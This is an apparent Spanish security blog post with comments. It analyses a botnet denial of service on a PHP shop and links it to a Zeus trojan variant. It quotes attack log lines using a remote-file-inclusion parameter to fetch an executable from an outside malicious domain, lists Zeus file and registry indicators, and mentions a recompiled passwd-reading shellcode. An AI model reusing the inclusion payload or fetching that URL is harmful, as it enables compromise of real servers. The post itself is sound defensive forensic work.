Incident Response, Security and Forensics"

.

jueves, 10 de junio de 2010

¡¡ Que vienen los Zombis !! (Historia de una denegación de servicio)

Hola lectores,

Voy a comentar algo que nos puede suceder a todos, una denegación de servicio.


El caso es el siguiente, empresa suministradora de productos de recambios de automóvil, tiene un servicio web (en PHP) de seguimiento de pedidos y comercio electrónico. Desde hace un tiempo parece que el servicio que prestan se degrada, haciendo imposible el acceso a la web.

Viernes 4 de Junio (15:30h)

El servidor web empieza a ir excesivamente lento, parece que va mal la aplicación web. Los informáticos restablecen el servicio.

Lunes 7 de Junio

Parece que el servidor no muestra el contenido de su web o parece que tarda en exceso en servir las páginas, parece que está caido. Tras comprobar que la máquina está bien, se ve que contiene multiples instancias del servidor web apache. Tras reiniciarlo al momento vuelve a tener problemas de carga. Esto se mantiene prácticamente durante todo el día.

Martes 8 de Junio

8:30h .- El servidor sigue sin señales de vida, se precisa con urgencia que el servidor este activo, dado que la mayoria de los pedidos se realiza por comercio electrónico. Gran tensión en el departamento comercial y de compras. Se llega a la conclusión que desconectando el cable de red (el de internet) la aplicación funciona correctamente en localhost

9:30h.- Analizamos lo sucedido:

Aplicación a medida de comercio electrónico en PHP con LAMP, todo monitorizado con Nagios y Awstats.

Empezamos con lo que me dan, analizando las estadisiticas. Podemos ver que efectivamente hay un considerable aumento


Mas cuando nos indican que el pico más alto de visitas es de unos 300 diarios, en el peor de los casos.

Si vemos la memoria de la máquina comprobamos que esta algo saturada


Y si vemos el tráfico de red, ni que decir tiene


Es decir, parece que además del número excesivo de conexiones, hay algo desbocado.

10:00h.-  Conseguimos hacer un netstat a la máquina y esta devuelve la sorprendente lista de más de 75.000 conexiones al servidor web, tras direccionarlo a fichero (mas comodo para trabajar) vemos que la mayoria de direcciones viene del rango 222.73.68.X y que la ip 222.73.68.23 es la que más conexiones activas tiene. Tiene pinta de una botnet


Si lo intentamos Geolocalizar vemos que casi todas y especialmente estas son de China




Vamos a grabar el tráfico de red, utilizando TCPDUMP, para posteriormente análizar el mismo.

10:10h.- Vemos el log de apache, esto es importante, despues de un buen rato me choca las líneas que se repiten, especialmente esta:

222.73.68.23/inicio.php?page=asf.wdn.com/dbs/_note/getexe.php
222.73.68.24/inicio.php?page=asf.wdn.com/dbs/_note/getexe.php
222.73.68.99/inicio.php?page=asf.wdn.com/dbs/_note/getexe.php 

Abro mi máquina virtual y desde el navegador introduzco la URL que me redirecciona al dominio 'asf.wdn.com', que ha su vez me regala un caramelito que más tarde será objeto de estudio




NOTA: Cuidadin que está todavia activa y te descarga algo


10:11h.- Cerramos en el cortafuegos todo el rango posible de la red 222. El servidor empieza a tener mejorias y el servicio se restablece.

10:20h.- Se decide por parte de los responsables cerrar el mayor rango posible de IP's de Asia.

11:00h.- Se cierra el caso y el servidor funciona perfectamente.

12:00h.- Me he llevado el EXE de la página web maliciosa y el tráfico en formato PCAP

13:20h.- Vamos a revisar el fichero del TCPDUMP con Whireshark. Tras un rato veo lo siguiente. Rh/cath/bin..Rhsswdh//pah/etc, todo apunta que además de las conexiones están mandando algo al servidor web



Tiene pinta de lo que es, un Shellcode, vamos a intentar guardar esa porción de código y proceder a su desemsablado

Y ahora que ya lo tenemos vamos a compilarlo y lanzarlo en un entorno controlado.

 Bueno, pues todo apunta a un exploit remoto que en aparencia devuelve el contenido del fichero passwd.

AHORA A POR EL EJECUTABLE

Vamos a lanzar en una máquina virtual (sin actualizaciones) windows xp con IE 6.0 y corriendo Process Monitor de Sysinternals y una utilidad que me ha venido muy bien en alguna ocasión que se llama SpyMonitor y que sirve para monitorizar los cambios y ver a posteriori las diferencias.

Estos son los resultados:

Con privilegio de administrador se han creado los siguientes ficheros
%systemroot%\system32\sdra64.exe 
%systemroot%\system32\lowsec
%systemroot%\system32\lowsec\user.ds
%systemroot%\system32\lowsec\user.ds.lll 
%systemroot%\system32\lowsec\local.ds 
Sin ser administradores:
%appdata%\sdra64.exe
%appdata%\lowsec
%appdata%\lowsec\user.ds
%appdata%\lowsec\user.ds.lll
%appdata%\lowsec\local.ds
Cambios que se han realizado en el registro:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
En la clave 'userinit'
"Userinit"  = "C:\WINDOWS\system32\userinit.exe
Por esta nueva:
"Userinit" = "C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\sdra64.exe"
Sin ser administradores
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
En la clave 'userinit'
"Userinit" = "C:\Documents and Settings\%;user%;\Application Data\sdra64.exe"


Googleando y por lo que dicen en los foros, todo apunta a una variante del ya famoso troyano ZEUS y para poner la puntilla he búscado la IP atacante en Zeus Tracker. Zeus Tracker proporciona la posibilidad para realizar un seguimiento de ZeuS (servidores, paneles de control) y los host maliciosos que albergan los archivos de Zeus. 

Y aquí tenemos nuestra IP Zombi



Muy, muy curioso...Seguiremos investigando

Quiero agradecer la ayuda a Eduardo Abril, que me ha ayudado en el desemsablado del shellcode

13 comentarios:

Parece el típico caso de uso de un fallo en la PHP que se usa para evitar que un cortafuegos nos evite la descarga del trollano. Supongo que avisaste a los desarrolladores para que retoquen el código y eviten más ataques (porque el cerrar las IP es un apaño hasta que te ataquen desde otro sitio), ¿no?

Pero lo que más me fascina es el shellcode. Principalmente por ser un ataque contra Linux, que tiene la fama de más seguro únicamente por recibir menos ataques. ¿Conseguían inyectarlo con éxito?

Seguro que los dueños de la pagina no pensaran lo mismo pero estas cosas son las que hacen entretenida una mañana.

Saludos

PD: Supongo que sera imposible pero resultaria divertido poder analizar la captura de red

Muy intructivo. Gracias.
Una pregunta técnica. con que has Geolocalizado. Con wireshark, Xplico.... ?

Gracias,

Excelente artículo, muy completo y bien explicado!

Hola otra vez

Lo que no me resulta del todo claro es porque aparece en el log (supongo que el access.log) del servidor apache atacado un uri que contiene una ip de un servidor que distribuye la variante de Zeus. ¿No tienes el log original con la entrada completa?

Saludos

Luis: El código se esta retocando como bien dices. En cuanto al shellcode, hasta la cocina...jejeje

Neofito: Ya quisiera pasarte el pcap, pero la ética me lo impide

Carlos: Con NetWitness

Juancho: Muchas gracias

Neofito: Este servidor es parte de Zeus y nooo puedooo contar más, jejeje ;-)

Algun link para el SpyMonitor?

hace rato no leo un caso tan divertido. Todos los ultimos eran porquerias con .PDF :-)

Saludos.

Un artículo bastante interesante e ilustrativo.

NaCl u2

Hola oye tengo una duda al ejecutar el exploit veo que ejecutas: ./nuevoexploit 192.169.1.100 80 esto último para quie lo es?

Babyrodri: Una vez compilado lo lance a un servidor de nuestra red de honeynets (192.168.1.100) para comprobar el resultado.

Saludos a todos y gracias por el artículo Pedro.

Me parece que la página ya no descarga el load.exe en cuestión ¿verdad?
Era para practicar un poquito destripándolo.

"Señor, concédeme serenidad para aceptar las cosas que no puedo cambiar, valor para cambiar las cosas que sí puedo y sabiduría para reconocer la diferencia"

Preciosa y profunda frase de San Agustin de Hipona,que puede ser recitada por muchos,pero pocos son
aquellos que son capaces de recitarla con verdadera humildad y conviccion..
La modificacion de la cita conlleva que la frase quede completamente incongruente,puesto que, si una persona sabe que hizo mal y no rectifica, es como si nada hubiese aprendido,aquel que nada aprende,
no puede ser considerado sabio, carente de coraje esta, aquel que es incapaz de hacer frente a sus errores
y en medio de este caos, es imposible encontrar serenidad.

Un saludo....